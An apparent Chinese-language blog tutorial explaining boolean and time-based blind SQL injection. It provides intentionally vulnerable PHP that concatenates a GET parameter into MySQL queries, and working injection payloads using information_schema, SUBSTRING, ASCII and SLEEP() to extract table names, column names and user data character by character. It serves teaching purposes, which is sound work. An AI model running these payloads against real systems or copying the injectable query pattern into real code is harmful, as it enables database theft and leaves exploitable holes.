盲注技术获取数据库的表、列和具体数据

一、布尔盲注 布尔盲注是通过观察应用程序的响应(如HTTP 状态码等)来判断查询条件是否为真。

1.进行数据库配置连接
复制代码
<?php
// 数据库连接配置
$host = 'localhost';
$dbname = 'testdb';
$user = 'root';
$password = 'password';
 
 //创建数据库连接
$conn = new mysqli($host, $user, $password, $dbname);

//检查连接 
if ($conn->connect_error) {
    die("Connection failed: " . $conn->connect_error);
}
 
// 获取用户输入的参数
$id = $_GET['id'];
2.构造布尔盲注查询
复制代码
$query = "SELECT * FROM users WHERE id = $id AND 1=1";
 
$result = $conn->query($query);
3.返回查询结果
复制代码
if ($result->num_rows > 0) {
    echo "Query is TRUE (数据存在)";
} else {
    echo "Query is FALSE (数据不存在)";
}
 
// 关闭连接
$conn->close();
?>
4.攻击者可以通过修改 id 参数,一点点推断数据库信息

获取表名

复制代码
sql
  id=1 AND (SELECT SUBSTRING(table_name,1,1) FROM information_schema.tables WHERE table_schema=DATABASE() LIMIT 1)='a'

获取列名

复制代码
sql
  id=1 AND (SELECT SUBSTRING(column_name,1,1) FROM information_schema.columns WHERE table_name='users' LIMIT 1)='u'

获取数据

复制代码
sql
  id=1 AND (SELECT SUBSTRING(username,1,1) FROM users LIMIT 1)='a'

二、时间盲注 时间盲注是通过在 SQL 查询中插入时间延迟函数(如 SLEEP()),根据数据库响应时间来判断查询条件是否为真。

1.进行数据库配置连接
复制代码
<?php
// 数据库连接配置
$host = 'localhost';
$dbname = 'testdb';
$user = 'root';
$password = 'password';
 
 //创建数据库连接
$conn = new mysqli($host, $user, $password, $dbname);

//检查连接 
if ($conn->connect_error) {
    die("Connection failed: " . $conn->connect_error);
}
 
// 获取用户输入的参数
$id = $_GET['id'];
2.构造时间盲注查询
复制代码
$query = "SELECT * FROM users WHERE id = $id AND IF(1=1, SLEEP(5), 0)";
$start_time = microtime(true); // 开始时间
$result = $conn->query($query);
$end_time = microtime(true); // 结束时间
3. 计算查询耗时
复制代码
$query_time = $end_time - $start_time;
4.根据查询时间判断结果
复制代码
if ($query_time > 5) {
    echo "Query is TRUE (延迟 5 秒)";
} else {
    echo "Query is FALSE (无延迟)";
}
// 关闭连接
$conn->close();
?>
5.攻击者可以通过修改 id 参数,逐步推断数据库信息

获取表名

复制代码
sql
  id=1 AND IF(ASCII(SUBSTRING((SELECT table_name FROM information_schema.tables WHERE table_schema=DATABASE() LIMIT 1),1,1))=97, SLEEP(5), 0)

获取列名

复制代码
sql
  id=1 AND IF(ASCII(SUBSTRING((SELECT column_name FROM information_schema.columns WHERE table_name='users' LIMIT 1),1,1))=117, SLEEP(5), 0)

获取数据

复制代码
sql
  id=1 AND IF(ASCII(SUBSTRING((SELECT username FROM users LIMIT 1),1,1))=97, SLEEP(5), 0)

三、获取表、列、具体数据的函数

1.获取表名

复制代码
sql
  id=1 AND ASCII(SUBSTRING((SELECT table_name FROM information_schema.tables WHERE table_schema=DATABASE() LIMIT 1 OFFSET 0),1,1))=97

2.获取列名

复制代码
sql
  id=1 AND ASCII(SUBSTRING((SELECT column_name FROM information_schema.columns WHERE table_name='users' LIMIT 1 OFFSET 0),1,1))=117

3.获取数据

复制代码
sql
  id=1 AND ASCII(SUBSTRING((SELECT username FROM users LIMIT 1 OFFSET 0),1,1))=97
相关推荐
777VG2 小时前
PostgreSQL +martin将多张表输出成一个 MVT
前端·数据库·postgresql
aax12134532 小时前
VOC 集群治理工程实操|美丽蓝天绿岛项目 RTO 工艺选型、管控方案与申报要
大数据·数据库·人工智能
IvorySQL3 小时前
PG 日报|优化缓冲区批量扫描,降低多套接字并发竞争
数据库·人工智能·postgresql·开源·区块链
这个DBA有点耶3 小时前
交易型数据库是什么?OLTP核心能力与2026选型指南
数据库·数据仓库·sql·database·数据库架构·olap·dba
大熊猫侯佩3 小时前
WWDC26 全新 SwiftData 的 .codable 宏选项:它不是泛型专用胶水
数据库·swift·apple
童谣15 小时前
越华环保集团市级统筹申报数字化中台:政策校验与减排仿真一体化架构
数据库·架构
制造数据与AI践行者老蒋5 小时前
离谱!PromptTemplate 遇上 JSON,花括号直接引发解析战争
数据库·microsoft·json
中微极客5 小时前
用LangChain 0.3构建生产级RAG与Agent:从API集成到Streamlit部署
数据库·人工智能·langchain
吴声子夜歌5 小时前
MongoDB 4.x——并发优化
数据库·mongodb
不如语冰6 小时前
AI大模型入门-Python进阶-上下文管理与with语句
开发语言·数据结构·数据库·人工智能·pytorch·redis·python